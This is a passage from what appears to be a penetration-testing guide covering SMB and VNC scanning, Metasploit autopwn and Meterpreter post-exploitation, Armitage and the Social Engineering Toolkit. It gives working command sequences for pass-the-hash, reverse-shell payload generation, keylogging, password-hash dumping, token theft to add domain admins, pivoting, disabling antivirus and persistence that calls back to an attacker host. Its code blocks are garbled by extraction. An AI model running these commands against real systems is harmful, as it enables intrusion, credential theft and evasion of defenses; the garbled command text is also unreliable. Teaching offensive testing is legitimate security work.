Use a NetBIOS Name Server (NBNS) to keep track of which hosts have registered a NetBIOS name.Allow each machine on the network to defend its name in the event that another machine attempts touse it.

There must also be a way to resolve a NetBIOS name to a specific IP address. There are two approaches:

Have each machine report back its IP address when it hears a broadcast request for its NetBIOS name.Use the NBNS to help resolve NetBIOS names to IP addresses.

When a client machine boots, it will broadcast a message declaring that it wishes to register a specifiedNetBIOS name as its own. If nobody objects to the use of the name after multiple registration attempts, itkeeps the name. On the other hand, if another machine on the local subnet is currently using the requestedname, it will send a message back to the requesting client that the name is already taken. This is known asdefending the hostname. This type of system comes in handy when one client has unexpectedly dropped offthe network - another can take its name unchallenged - but it does incur an inordinate amount of traffic onthe network for something as simple as name registration.

With an NBNS, the same thing occurs, except that the communication is confined to the requesting machineand the NBNS server. No broadcasting occurs when the machine wishes to register the name; the registrationmessage is simply sent directly from the client to NBNS server and the NBNS server replies whether or not thename is already taken. This is known as point-to-point communication, and is often beneficial on networkswith more than one subnet. This is because routers are often preconfigured to block incoming packets that arebroadcast to all machines in the subnet.

Page 48: it Man Pages

3.5.1.2 Node Types

With NetBIOS there is just a single unique name to represent each computer, and each name is only allowedto have 15 characters. With NetBIOS, a machine not only advertises its presence, but also tells others whattypes of services it offers. The resource types are shown in angled brackets (<>) after the NetBIOS name,like:

NetBIOS unique resource types are the following:

Named Resource Hex Byte ValueStandard Workstation Service 00Messenger Service (WinPopup) 03RAS Server Service 06Domain Master Browser Service (associated with primary domain controller) 1BMaster Browser name 1DNetDDE Service 1FFileserver (including printer server) 20RAS Client Service 21Network Monitor Agent BENetwork Monitor Utility BF

NetBIOS group resource types are the following:

Named Resource Hex Byte ValueStandard Workstation group 00Logon Server 1CMaster Browser name 1DNormal Group name 1EInternet Group name 20__MSBROWSE__ 01

The __MSBROWSE__ is used to announce a group to other master browsers.

To print all the of resources of a given host:

If some of the entries in the above output have the <20> hex value, then the machine is sharing someresources. To see which resources the machine is sharing, issue:

12

NAME<00>***

123456789

1011121314

#*nbtscan*9v*192.168.1.166NetBIOS*Name*Table*for*Host*192.168.1.166:*Name*************Service**********Type9999999999999999999999999999999999999999MYNAME************<00>*************UNIQUEWORKGROUP*********<00>*************GROUPMYNAME************<20>*************UNIQUEWORKGROUP*********<1e>*************GROUPWORKGROUP*********<1d>*************UNIQUE__MSBROWSE__******<01>*************GROUP*Adapter*address:*0091e98c9a995b9ab***

Page 49: it Man Pages

We can now use the following command to reach a directory that has been shared as ’D’ on machine192.168.1.166:

Ok, the password isn’t correct. We must specify the right password. After we do that, we can see the contentsof the drive ’D’ on the 192.168.1.166.

3.5.1.3 Metasploit SMB Login Check

The SMB Login Check will connect to a range of hosts and determine if the username/password combinationthat we posses can access the target. This login check is not very stealth and will show up as a failed loginattempt in the event logs of every windows system. Any successful result can be plugged into thewindows/smb/psexec exploit module, which can be utilized to create meterpreter sessions.

3.5.2 VNC Authentication

The VNC provides graphical access to remote system. VNC servers are common through corporations, becausethey provide a GUI-based view of server and workstation desktops. VNC is frequently installed to meet atemporary need and then completely forgotten and left unpatched.

The VNC authentication scanner will search a range of IP addresses looking for targets that are running a VNCserver without a password configured. To utilize the VNC scanner, we must first select the auxiliary module,define our options, and let it run:

123456789

101112131415161718

#,smbclient,6L,192.168.1.166Domain=[MYNAME],OS=[Windows,5.1],Server=[Windows,2000,LAN,Manager],,,,,,,,,Sharename,,,,,,,Type,,,,,,Comment,,,,,,,,666666666,,,,,,,6666,,,,,,6666666,,,,,,,,IPC$,,,,,,,,,,,,IPC,,,,,,,Remote,IPC,,,,,,,,D$,,,,,,,,,,,,,,Disk,,,,,,Default,share,,,,,,,,ADMIN$,,,,,,,,,,Disk,,,,,,Remote,Admin,,,,,,,,C$,,,,,,,,,,,,,,Disk,,,,,,Default,share,Domain=[MYNAME],OS=[Windows,5.1],Server=[Windows,2000,LAN,Manager],,,,,,,,,Server,,,,,,,,,,,,,,,Comment,,,,,,,,666666666,,,,,,,,,,,,6666666,,,,,,,,,Workgroup,,,,,,,,,,,,Master,,,,,,,,666666666,,,,,,,,,,,,6666666,,,

1234

#,smbclient,\\\\192.168.1.166\\D$,passwordDomain=[MYNAME],OS=[Windows,5.1],Server=[Windows,2000,LAN,Manager]tree,connect,failed:,NT_STATUS_ACCESS_DENIED,,,

1234567

msf,>,use,auxiliary/scanner/smb/smb_loginmsf,auxiliary(smb_login),>,set,RHOSTS,192.168.50.0/24msf,auxiliary(smb_login),>,set,SMBUser,Administratormsf,auxiliary(smb_login),>,set,SMBPass,secretmsf,auxiliary(smb_login),>,set,THREADS,50msf,auxiliary(smb_login),>,run,,,

Page 50: it Man Pages

If metasploit finds a VNC server with no authentication, we can use vncviewer program to connect to thetarget machine without a password.

3.5.3 Open X11

The Open X11 scanner modules scans a target range for X11 servers that will allow a user to connect withoutany authentication.

If we get lucky and find the open X11 vulnerability, we could start a keylogger xspy:

which would remotely sniff the X server’s keyboard session.

3.5.4 WMAP Web Scanner

First install the required packages:

WMAP is a web vulnerability scanner that is created from SQLMap and allows us to do webapp scanning fromwithin the metasploit. WMAP depends on an active database, which is used to store a list of target URLs andresults of the WMAP modules. To get started with WMAP, the database needs to be configured and at leastone target must be added. You can bring target data into WMAP through a spider, proxy, or export fromanother tool - in the example we’ll use the msf http crawler module to add a target. First we have to create anew database to store our scan results in, load the wmap plugin, and execute the available commands.

123456

msf*>*use*auxiliary/scanner/vnc/vnc_none_authmsf*auxiliary(vnc_none_auth)*>*set*RHOSTS*10.1.1.0/24msf*auxiliary(vnc_none_auth)*>*set*THREADS*50msf*auxiliary(vnc_none_auth)*>*run[*]*Auxiliary*module*execution*completed***

123456

msf*auxiliary(vnc_none_auth)*>*use*auxiliary/scanner/x11/open_x11msf*auxiliary(open_x11)*>*set*RHOSTS*10.1.1.0/24msf*auxiliary(open_x11)*>*set*THREADS*50msf*auxiliary(open_x11)*>*run[*]*Auxiliary*module*execution*completed***

12

#*/pentest/sniffers/xspy*Ndisplay*192.168.1.1:0*Ndelay*100***

1234

gem*install*robotsgem*install*nokogiri*sudo*gem*install*anemone***

123456789

10

msf*>*db_connect*root:toor@localhost/wmapmsf*>*use*auxiliary/scanner/http/crawlermsf*auxiliary(crawler)*>*set*RHOST*93.103.50.247msf*auxiliary(crawler)*>*set*RPORT*80msf*auxiliary(crawler)*>*run*[*]*Crawling*http://93.103.50.247:80/...[*]*[00001/00500]****200*N*93.103.50.247*N*http://93.103.50.247/[*]*Crawl*of*http://93.103.50.247:80/*complete[*]*Auxiliary*module*execution*completed

Page 51: it Man Pages

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

[*].Auxiliary.module.execution.completed

msf.auxiliary(crawler).>.load.wmap

[*].[WMAP.1.0].===..et.[..].metasploit.com.2011

[*].Successfully.loaded.plugin:.wmap

msf.auxiliary(crawler).>.wmap_sites.Nl

Available.sites

===============

.

.....Id..Host...........Vhost..........Port..#.Pages..#.Forms

.....NN..NNNN...........NNNNN..........NNNN..NNNNNNN..NNNNNNN

.....0...93.103.50.247..93.103.50.247..80....1........0

.

msf.auxiliary(crawler).>.wmap_targets.Nt.93.103.50.247:80

msf.auxiliary(crawler).>.wmap_run.Nh

[*].Usage:.wmap_run.[options]

........Nh......................Display.this.help.text

........Nt......................Show.all.enabled.modules

........Nm.[regex]......Launch.only.modules.that.name.match.provided.regex.

........Ne.[/path/to/profile]...........Launch.profile.modules.against.all.matched.targets.

........................................................No.file.runs.all.enabled.modules.

.

msf.auxiliary(crawler).>.wmap_run.Nt

[*].Testing.target:

[*].....Site:.93.103.50.247.(93.103.50.247)

[*].....Port:.80.SSL:.false

============================================================

[*].Testing.started..Wed.Aug.31.23:52:55.+0200.2011

.

=[.SSL.testing.]=

============================================================

[*].Target.is.not.SSL..SSL.modules.disabled.

.

=[.Web.Server.testing.]=

============================================================

[*].Loaded.auxiliary/scanner/http/robots_txt....

[*].Loaded.auxiliary/scanner/http/http_version....

[*].Loaded.auxiliary/admin/http/tomcat_utf8_traversal....

[*].Loaded.auxiliary/scanner/http/svn_scanner....

[*].Loaded.auxiliary/admin/http/contentkeeper_fileaccess....

[*].Loaded.auxiliary/scanner/http/webdav_scanner....

[*].Loaded.auxiliary/scanner/http/webdav_website_content....

[*].Loaded.auxiliary/scanner/http/webdav_internal_ip....

[*].Loaded.auxiliary/scanner/http/verb_auth_bypass....

[*].Loaded.auxiliary/scanner/http/options....

[*].Loaded.auxiliary/scanner/http/frontpage_login....

[*].Loaded.auxiliary/scanner/http/web_vulndb....

[*].Loaded.auxiliary/scanner/http/open_proxy....

[*].Loaded.auxiliary/scanner/http/vhost_scanner....

[*].Loaded.auxiliary/admin/http/tomcat_administration....

.

=[.File/Dir.testing.]=

============================================================

[*].Loaded.auxiliary/scanner/http/dir_scanner....

[*].Loaded.auxiliary/scanner/http/writable....

[*].Loaded.auxiliary/scanner/http/prev_dir_same_name_file....

[*].Loaded.auxiliary/scanner/http/ms09_020_webdav_unicode_bypass....

[*].Loaded.auxiliary/scanner/http/trace_axd....

[*].Loaded.auxiliary/scanner/http/backup_file....

[*].Loaded.auxiliary/scanner/http/brute_dirs....

[*].Loaded.auxiliary/scanner/http/replace_ext....

[*].Loaded.auxiliary/scanner/http/dir_webdav_unicode_bypass....

[*].Loaded.auxiliary/scanner/http/dir_listing....

[*].Loaded.auxiliary/scanner/http/copy_of_file....

[*].Loaded.auxiliary/scanner/http/file_same_name_dir....

[*].Loaded.auxiliary/scanner/http/files_dir....

.

=[.Unique.Query.testing.]=

============================================================

Page 52: it Man Pages

We can see that the WMAP didn’t find any vulnerabilities.

3.5.5 Autopwning

Metasploit’s autopwn module automatically targets and exploits a system using an open port or using theresults of a vulnerability scanner. Autopwn can use the reports of the vulnerability scanners NeXpose, Nessus,OpenVAS.

The autopwn command can be as follows:

Explanation:

-e: launch against all targets-t: show all matching modules-r: use a reverse shell payload-x: select exploit modules based on vulnerability-p: also select exploit modules based on open ports

On a success, we will receive a meterpreter sessions that we can list with sessions -l and open with sessions-i <num>.

4 Meterpreter

4.1 Introduction

77787980818283848586878889909192939495969798

============================================================[*]/Loaded/auxiliary/scanner/http/blind_sql_query/...[*]/Loaded/auxiliary/scanner/http/error_sql_injection/.../=[/Query/testing/]=============================================================/=[/General/testing/]=============================================================[*]/Analysis/completed/in/10.054025888443/seconds.[*]/Done.++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++msf/auxiliary(crawler)/>/hosts/Sc/address,svcs,vulns/Hosts=====/address////////svcs//vulnsSSSSSSS////////SSSS//SSSSS93.103.50.247//1/////0msf/auxiliary(crawler)/>/db_notes///

12

msf/>/db_autopwn/Se/St/Sr/Sx/Sp///

Page 53: it Man Pages

Meterpreter is an advanced, dynamically extensible payload that uses in-memory DLL injection stagers and isextended over the network at runtime. It communicates over the socket and provides a comprehensive client-side Ruby API. It features command history, tab completion, channels, and more. The way that itaccomplishes this is by allowing developers to write their own extensions in the form of shared objects (DLL)files that can be uploaded and injected into a running process on a target computer after exploitation hasoccurred. Meterpreter and all of the extensions that it loads are executed entirely from memory and nevertouch the disk, thus allowing them to execute under the radar of standard antivirus detection.

We must also point out once again, that we can get a meterpreter shell after we’ve successfully compromisedthe system. So the meterpreter shell is just a payload, like reverse_tcp, which allows us to run arbitrarymetasploit commands directly on the operating system to obtain the information we want.

When exploiting a software vulnerability the most common way of doing it is to get access to /bin/sh orcmd.exe, which allows them to execute commands on the remote machine with the privileges of the user thatis running the vulnerable application. Access to the command interpreter gives the attacker nearly full controlof the machine bounded only by the privileges of the exploited process.

The majority of the published exploits include a payload that executes a command interpreter. The input andoutput from the command interpreter is typically redirected to a TCP connection that is established by theattacker. There are a few disadvantages of using the native command interpreter:

The execution of the command interpreter involves the creation of a new process in the task list, makingthe attacker visible for the duration of the connection. Most host-based intrusion prevention systems(HIPS) will detect and prevent such actions for both Windows and UNIX.The daemon runs in a chrooted environment, so it is impossible to reference the files and directories thatexist above the pseudo-root directory. Since the command interpreter typically exists in a directory thatis outside of the scope of the directory that an application would chroot to, the execution of thecommand interpreter becomes impossible.The command interpreter is limited to the set of commands that is has access to.

These three reasons illustrate the down-sides of using a native command interpreter and give us the reasonsfor implementing the meterpreter, which is capable of avoiding these three issues:

The meterpreter is able to avoid the creation of a new process because it executes in the context of theprocess that is exploited.The meterpreter extensions are all executed entirely from memory, which allows it to avoid issued withchroot, because it does not have to create a new process.The meterpreter allows for incredible control and automation when it comes to writing extensions.Server extensions can be written in any language that can have code distributed as a shared object(DDL) form. This fact makes it no longer necessary to implement specifically purposed positionindependent code in what typically requires a low-level language such as assembly.

How meterpreter works:

The target executes the initial stager: bind, reverse, findtag, passivex, etx.The stager loads the DLL prefixed with reflective, which handles the loading/injection of the DLL.The meterpreter core initializes, establishes a TLS/1.0 link over the socket and sends a GET. Metasploitreceives this GET and configures the client.Meterpreter loads extensions.

Page 54: it Man Pages

4.2 Meterpreter Commands

The meterpreter also provides a default set of commands:

helpDisplays the meterpreter help menu.

backgroundThis command will send the current meterpreter session to the background and return to the msf prompt.The sessions -l and sessions -i <num> can then be used to return to the meterpreter console.

psThis command displays a list of running processes on the target.

migrateUsing the migrate module, you can migrate to another process on the victim.

lsThis command will list all the files in the current remote directory.

downloadThis command downloads a file from the remote machine (use double slashes when giving the windowspath)

uploadThis command uploads a file to the remote machine.

ipconfigThis command displays the network interfaces and addresses on the remote machine.

getuidRunning getuid will display the user that the meterpreter server is running as on the host.

executeThe execute command runs a command on the target.

shellThe shell command will present you with a standard shell on the target system.

idletimeRunning idletime will display the number of seconds that the user at the remote machine has been idle.

sysinfoThe sysinfo command will tell us the platform on which the system is running.

hashdumpThe hashdump module will dump the contents of the SAM database.

screenshotThe screenshot command will export an image of the active user’s desktop and save it to the

12

>$run$post/windows/manage/migrate$$$$$

12

>$run$post/windows/gather/hashdump$$$$$$

Page 55: it Man Pages

/opt/metasploit3/msf3/ directory.

Meterpreter can be used with nearly all of the windows exploits included in metasploit by selecting one of thefollowing payloads:

win32_bind_meterpreterThis payload binds to a port on the target machine and waits of a connection. After the connection isestablished the meterpreter server is uploaded and the existing connection is used for the meterpretercommunication channel.

win32_reverse_meterpreterThis payload connects back to the attacker on a given port. The connection is then used to upload themeterpreter server after which point it is used for the meterpreter communication channel.

win32_findrecv_ord_meterpreterThis payload searches for the file descriptor that the exploit was triggered from and uses it to upload themeterpreter server after which point the connection is used for the meterpreter communication channel.This payload is particularly interesting because it does not require that a new connection be opened andthis bypasses all firewall configurations.

Depending on the exploit, any of these payloads can be used. The most preferable payload is entirelydependent on both the exploit and the conditions under which the exploit is being performed, such as firewallrestrictions.

4.3 Doing interesting things with meterpreter

All sections here depend on the fact that the victim computer is already compromised and the meterpretershell is available.

4.3.1 Capturing Keystrokes

With meterpreter we can start keystroke logging on the remote system. First, let’s list the running processeson the target system with the ps command:

The ps command will display the PID, name of the process, the user that executed the process and the pathto the process’s binary code. We need to find the process explorer.exe and write down it’s PID number. Let’ssay the PID numberof explorer.exe is 666.

We issue the migrate command to move our session into the explorer.exe process space.

After that we just need to start the keylog_recorder module to capture the keystrokes of the user:

12

meterpreter(>(ps(((

12

meterpreter(>(migrate(666(((

Page 56: it Man Pages

The captured keystrokes are then saved into the txt file under /root/.msf3/loot/ directory.

4.3.2 Dumping Usernames and Passwords

We can use meterpreter to obtain the usernames and password hashes on a local file system. First we need touse the priv command to run commands as a privileged user account.

To dump the Security Account Manager (SAM) database, we need to be running as SYSTEM to get around theregistry restrictions and dump the protected SAM storage that contains usernames and passwords. We’llexecute the hashdump command, which dumps all the usernames and password hashes from the system.

With this command we only receive the hash of the password. But we can’t login into additional machines andpotentially compromise more systems with one user account. We can use pass-the-hash technique, whichrequires that we only have the password hash, not the password itself.

With this module, we can authenticate only with hash, no password is required. This attack allows us to hopfrom one system to another in the victim’s network, because it’s very common that multiple systems will havethe same administrator account.

4.3.3 Privilege Escalation

When we have access to the system, we can create a normal user account with limited permissions using thenet user command.

The normal user account will prevent us from executing commands that require administrative levelpermissions. By elevating an account’s permissions, we overcome that restriction.

To elevate the user’s permissions, we create a meterpreter-based payload payload.exe, copy it to the target’sXP machine, and run it under the user account eleanor. This will be our new limited user account. First let’screate a payload.exe that will connect back to the 192.168.1.2:443.

12

meterpreter(>(run(post/windows/capture/keylog_recorder(((

12

meterpreter(>(use(priv(((

12

meterpreter(>(run(post/windows/gather/hashdump(((

12345678

msf(>(use(windows/smb/psexecmsf((exploit(psexec)(>(set(PAYLOAD(windows/meterpreter/reverse_tcpmsf((exploit(psexec)(>(set(LHOST(192.168.1.2msf((exploit(psexec)(>(set(LPORT(443msf((exploit(psexec)(>(set(RHOST(192.168.1.3msf((exploit(psexec)(>(set(SMBPass(<hash>msf((exploit(psexec)(>(exploit(((

12

>(net(user(eleanor(pass(/add(((

Page 57: it Man Pages

Call msfcli interface to start a listener handler, which will wait for connections, and when one is received, itwill spawn a meterpreter shell.

We need to copy payload.exe to the victim machine and execute it under the user eleanor. The payload willthen connect back to the attacker machine and spawn a meterpreter shell. In the meterpreter shell we canthen execute getuid command to verify that we’re indeed under eleanor account.

Next, we can drop into shell and enter command net user eleanor to see the groups the user eleanor belongsto.

To get administrative rights, we must use the use priv command to load the priv extensions, which gets usaccess to the privileged module. Next we enter getsystem in an attempt to elevate our privilege to that oflocal system, or administrator. We then verify that we have admin privileges with the getuid command. Theserver’s username is NT AUTHORITY\SYSTEM, which tells us that we’ve succeeded at gaining administratoraccess.

To switch back to the previous user account where we initially got our meterpreter shell, we’d use rev2self.

4.3.4 Token Impersonation

With token impersonation, we grab a kerberos token on the target machine and use it in place ofauthentication.

First we have to list running applications and figure out under which account they are running. In thefollowing example the domain name SNEAKS.IN and the user account adminuser is in use.

Now we have to use steal_token command to steal the token from a program that has the token.

12

#$msfpayload4.0$windows/meterpreter/reverse_tcp$LHOST=192.168.1.2$LPORT=443$X$>$payload.exe$$$

12

#$msfcli4.0$multi/handler$PAYLOAD=windows/meterpreter/reverse_tcp$LHOST=192.168.1.2$LPORT=443$E$$$

12

meterpreter$>$getuid$$$

1234567

meterpreter$>$shellC:\>net$user$eleanorLocal$Group$Memberships$$$$*UsersGlobal$Group$Memberships$$$*NoneC:\>^ZBackground$channel$1?$[y/N]$y$$$

12345

meterpreter$>$use$privmeterpreter$>$getsystemmeterpreter$>$getuidServer$username:$NT$AUTHORITY\SYSTEM$$$

123456

meterpreter$>$psProcess$list============380$cmd.exe$$$$$$x86$$$0$$$SNEAKS.IN\adminuser$\System\Root\System32\cmd.exemeterpreter$>$$$

Page 58: it Man Pages

Meterpreter is now running under the context of the adminuser account. Now we can use incognito to listavailable tokens on the system.

We can impersonate the adminuser token and add another user account, which we then give domainadministrator privileges.

When entering the add_user and add_group_user commands, be sure to specify the -h flag, which tellsIncognito where to add the domain administrator account. In this case, that would be the IP address of adomain controller.

The implications for this attack are devastating: Essentially, the Kerberos token on any system that a domainadministrator logs into can be assumed and used to access the entire domain. This means that every serveron your network is your weakest link!

4.3.5 Pivoting onto Other Systems

Pivoting can be used to attack other systems on a network through the already compromised machine - liketunneling. With pivoting we gain access to systems to which we could not otherwise route traffic, for whateverreason.

First, we must assume that we’ve already compromised a server in a network and we have meterpreter access

123

meterpreter)>)steal_token)380Stolen)token)with)username:)SNEAKS.IN\adminuser)))

123456789

10111213141516

meterpreter)>)use)incognitoLoading)extension)incognito...success.meterpreter)>)list_tokens)Ku[K])Warning:)Not)currently)running)as)SYSTEM,)not)all)tokens)will)be)availableCall)rev2self)if)primary)process)token)is)SYSTEMDelegation)Tokens)Available========================================SNEAKS.IN\adminuserADMINUSER\AdministratorNT)AUTHORITY\LOCAL)SERVICENT)AUTHORITY\NETWORK)SERVICENT)AUTHORITY\SYSTEMImpersonation)Tokens)Available========================================NT)AUTHORITY\ANONYMOUS)LOGON)))

123456789

10111213

meterpreter)>)impersonate_token)SNEAKS.IN\\adminuser[+])Delegation)token)available[+])Successfully)impersonated)user)SNEAKS.IN\adminusermeterpreter)>)add_user)omgcompromised)p@55w0rd!)Kh)192.168.33.50[*])Attempting)to)add)user)omgcompromised)to)host)192.168.33.50[+])Successfully)added)usermeterpreter)>)add_group_user)"Domain)Admins")omgcompromised)Kh)192.168.33.50[*]Attempting)to)add)user)omgcompromised)to)group)Domain)Admins)on)domain)controller192.168.33.50[+])Successfully)added)user)to)group))))

Page 59: it Man Pages

to the compromise machine.

We begin with displaying local subnets on the compromised system within a meterpreter session with runget_local_subnets command. Next, we background our running session and add a route to the framework,telling it to route the remote network ID over session 1, the background meterpreter session. We then displayactive routes with route print and we can see that our route is active.

Next, we must setup a second exploit against another system in a network.

Our LHOST option specifies the IP address of our attacking machine and RHOST IP address is set to adifferent network subnet. What we’re doing is tunneling traffic through the first compromised machine andattacking the second.

If the heap overflow is successful, we should be presented with a reverse shell from 192.168.33.132.

We can also use load auto_add_route command to automatically add the routes to meterpreter upon a newsession spawn.

123456789

1011

meterpreter0>0run0get_local_subnetsLocal0subnet:0192.168.33.0/255.255.255.0meterpreter0>0backgroundmsf0exploit(handler)0>0route0add0192.168.33.00255.255.255.001msf0exploit(handler)0>0route0printActive0Routing0Table====================Subnet0000000000Netmask000000000GatewayRRRRRR0000000000RRRRRRR000000000RRRRRRR192.168.33.00000255.255.255.0000Session01000

123456789

1011121314151617181920212223242526272829

msf0>0use0linux/samba/lsa_transnames_heapmsf0exploit(lsa_transnames_heap)0>0set0payload0linux/x86/shell/reverse_tcpmsf0exploit(lsa_transnames_heap)0>0set0LHOST010.10.1.176msf0exploit(lsa_transnames_heap)0>0set0LPORT08080msf0exploit(lsa_transnames_heap)0>0set0RHOST0192.168.33.132msf0exploit(lsa_transnames_heap)0>0ifconfig[*]0exec:0ifconfig0lo00000000Link0encap:Local0Loopback0000000000inet0addr:127.0.0.100Mask:255.0.0.00000000000inet60addr:0::1/1280Scope:Host0000000000UP0LOOPBACK0RUNNING00MTU:1643600Metric:10000000000RX0packets:5640errors:00dropped:00overruns:00frame:00000000000TX0packets:5640errors:00dropped:00overruns:00carrier:00000000000collisions:00txqueuelen:00000000000RX0bytes:710940(69.40KiB)00TX0bytes:710940(69.40KiB)0wlan000000Link0encap:Ethernet00HWaddr000:26:c6:21:cf:1a0000000000inet0addr:10.1.1.17600Bcast:10.1.1.25500Mask:255.255.255.00000000000inet60addr:0fe80::226:c6ff:fe21:cf1a/640Scope:Link0000000000UP0BROADCAST0RUNNING0MULTICAST00MTU:150000Metric:10000000000RX0packets:34909490errors:00dropped:00overruns:00frame:00000000000TX0packets:30257690errors:00dropped:00overruns:00carrier:00000000000collisions:00txqueuelen:10000000000000RX0bytes:33189980120(3.00GiB)00TX0bytes:8674698700(827.20MiB)00msf0exploit(lsa_transnames_heap)0>0exploit000

123

msf00exploit(lsa_transnames_heap)0>0load0auto_add_route[*]0Successfully0loaded0plugin:0auto_add_route000

Page 60: it Man Pages

4.3.6 Using Meterpreter Scripts

To run a script from the meterpreter console, issue the run script command.

4.3.6.1 VNC Desktop

If you want to use an interactive remote GUI on the system, you can use the VNC protocol to tunnel the activedesktop communications and interact with the GUI desktop. First we have to install the VNC session on theremote target with run vnc and then launch the run screen_unlock command to unload the target machineso that we can view the desktop. As a result, a VNC window should appear, showing us the target desktop.

4.3.6.2 Migrating a Process

Often, when attacking a system and exploiting a service such as Internet Explorer, if the target closes thebrowser, the meterpreter session is also closed and we lose our connection to the target. To avoid thisproblem, we can use the migrate module to migrate the service to memory space that won’t close when thetarget closes the browser. By migrating to a different, more stable process, we ensure that the process isn’tclosed and we maintain our connection to the system.

4.3.6.3 Killing Antivirus Software

Antivirus software can block certain tasks. In such cases we can run the killav command script to stop theprocesses preventing our tasks from running.

4.3.6.4 Obtaining System Password Hashes

We can obtain the password hashes by running the run hashdump command.

4.3.6.5 Viewing all Traffic on a Target Machine

To see all traffic on a target, we can run a packet recorder. Everything captured by packetrecorder is saved inthe .pcap file format, which can be viewed with wireshark. The -i options specifies the interface we want to useto perform the packet captures.

4.3.6.6 Scraping the System

123

meterpreter)>)run)vncmeterpreter)>)run)screen_unlock)))

12

meterpreter)>)run)post/windows/manage/migrate)))

12

meterpreter)>)run)killav)))

12

meterpreter)>)run)hashdump)))

12

meterpreter)>)run)packetrecorder);i)1)))

Page 61: it Man Pages

The scraper script enumerates just about everything you could ever want from a system. It will grab theusernames and passwords, download the entire registry, dump password hashes, gather system information,and export the HKEY_CURRENT_USER (HKCU).

4.3.6.7 Using Persistence

The persistence script ensures that meterpreter is running even after the target system reboots. If this is areverse connection, you can set intervals for the target to connect back to the attacker machine.

If you use this functionality, be sure to remove it after you’re done. If you forget to do this, any attacker canalso gain access to the system without authentication.

When we run persistence we have to tell windows to autostart the agent at boot time (-X), wait 50 seconds(-i 50) before connection retries, run on port 443 (-p 443), and connect to IP 192.168.33.129.

Then we need to establish a listener for the agent with use multi/handler.

After this, the meterperter agent will connect to our machine at 192.168.33.129:443.

4.3.6.8 Interacting with Windows API

We can natively call windows APIs through metasploit add-on called railgun. First we need to use the irbcommand, which will drop us into an interactive ruby shell. This will in turn allow us to call railgun and thuswindows API calls.

On the target machine, we should see a pop-up box with world in the titlebar and hello in the message box. Inthis example, we simply called the user32.dll and the MessageBoxA function.

Remember that railgun gives us the same capabilities as a native Win32 application with full access to thewindows API, so we can pretty much do anything we want.

4.4 Meterpreter Scripting

12

meterpreter(>(run(scraper(((((

12

meterpreter(>(run(persistence(0X(0i(50(0p(443(0r(192.168.33.129(((

123456789

msf(>(use(multi/handlermsf(exploit(handler)(>(set(PAYLOAD(windows/meterpreter/reverse_tcpmsf(exploit(handler)(>(set(LPORT(443msf(exploit(handler)(>(set(LHOST(192.168.33.129msf(exploit(handler)(>(exploit([*](Started(reverse(handler(on(192.168.33.129:443[*](Starting(the(payload(handler..(((

12345

meterpreter(>(irb[*](Starting(IRB(shell[*](The('client'(variable(holds(the(meterpreter(client>>(client.railgun.user32.MessageBoxA(0,"hello","world","MB_OK")(((

Page 62: it Man Pages

We can add arbitrary scripts to the meterpreter. There are already some scripts written, which can be found inthe meterpreter repositoryhttp://dev.metasploit.com/redmine/projects/framework/repository/show/scripts/meterpreter.

Existing scripts are meant to be used with a meterpreter shell after the successful compromise of a target.Some of the most interesting scripts are:

checkvmCheck whether the exploited machine is a virtual machine.

getcountermeasureCheck the security configuration on the victim system and enable/disable security measures such as A/V,Firewall, etc.

getguiEnables the RDP on a target system if it is disabled.

gettelnetEnable telnet on a target system if it is disabled.

killavDisable most antivirus programs running as a service on a target.

get_local_subnetsGet the local subnet mask from a victim.

hostseditAdd entries to the Windows hosts file, which gets checked before the DNS server. This helps us diverttraffic to a fake entry.

remotewinenumEnumerate system information through wmic in victim.

winenumVery detailed windows enumeration tool.

scraperGet system information, including the entire registry.

5 Beyond Metasploit

5.1 Armitage

Armitage is a GUI-frontend for the metasploit framework. To install armitage, you have to first download itand run it.

Since armitage communicates with metasploit via the RPC daemon, we need to start it:

12

#$msfrpcd3.7$/f$/U$msf$/P$msf$/t$Basic$$$

Page 63: it Man Pages

When we start the armitage, the following connection dialog shows up:

Armitage connection dialog.

We need to enable the SSL, and provide the user/pass for the RPC daemon and the mysql database. When weestablish a connection, the armitage shows us:

Armitage main window.

Page 64: it Man Pages

To scan a target, we must first select the scanner - we’ve choosen the smb_version. Then just set theappropriate variables - like RHOSTS.

Armitage selecting a target.

After clicking Launch, the detected hosts are presented on the screen. If there are any hosts that don’t wish tobe targeted, we can remove them by right-clicking on a host, expanding a "Host" menu, and selecting the

Page 65: it Man Pages

"Remove Host".

We need to remember that any data collected with the armitage is also stored in the mysql database.

5.2 Social Engineering Toolkit - SET

The SET is designed to perform advanced attacks against the human element. The attacks build into thetoolkit are designed to be targeted against a person or organization used during penetration test.

First you need to download the SET:

The SET works out of the box, but provides many configuration options to change its behaviour. The config fileis located under config/set_config. You should at least change the METASPLOIT_PATH to define the path tometasploit.

SET is menu driven based attack system:

12

#$svn$co$http://svn.secmaniac.com/social_engineering_toolkit$set/$$$

Page 66: it Man Pages

5.2.1 Spear-Phishing Attack Vector

This attack can be used to send targeted emails with malicious attachments. Note that when using SET, youcan create and save your own templates to use for future attacks.

5.2.2 Teensy USB HID Attack Vector

Note that you have to have arduino and arduino teensy software installed before you can proceed with thisattack.

123456789

1011121314151617181920212223242526272829303132333435363738394041424344454647

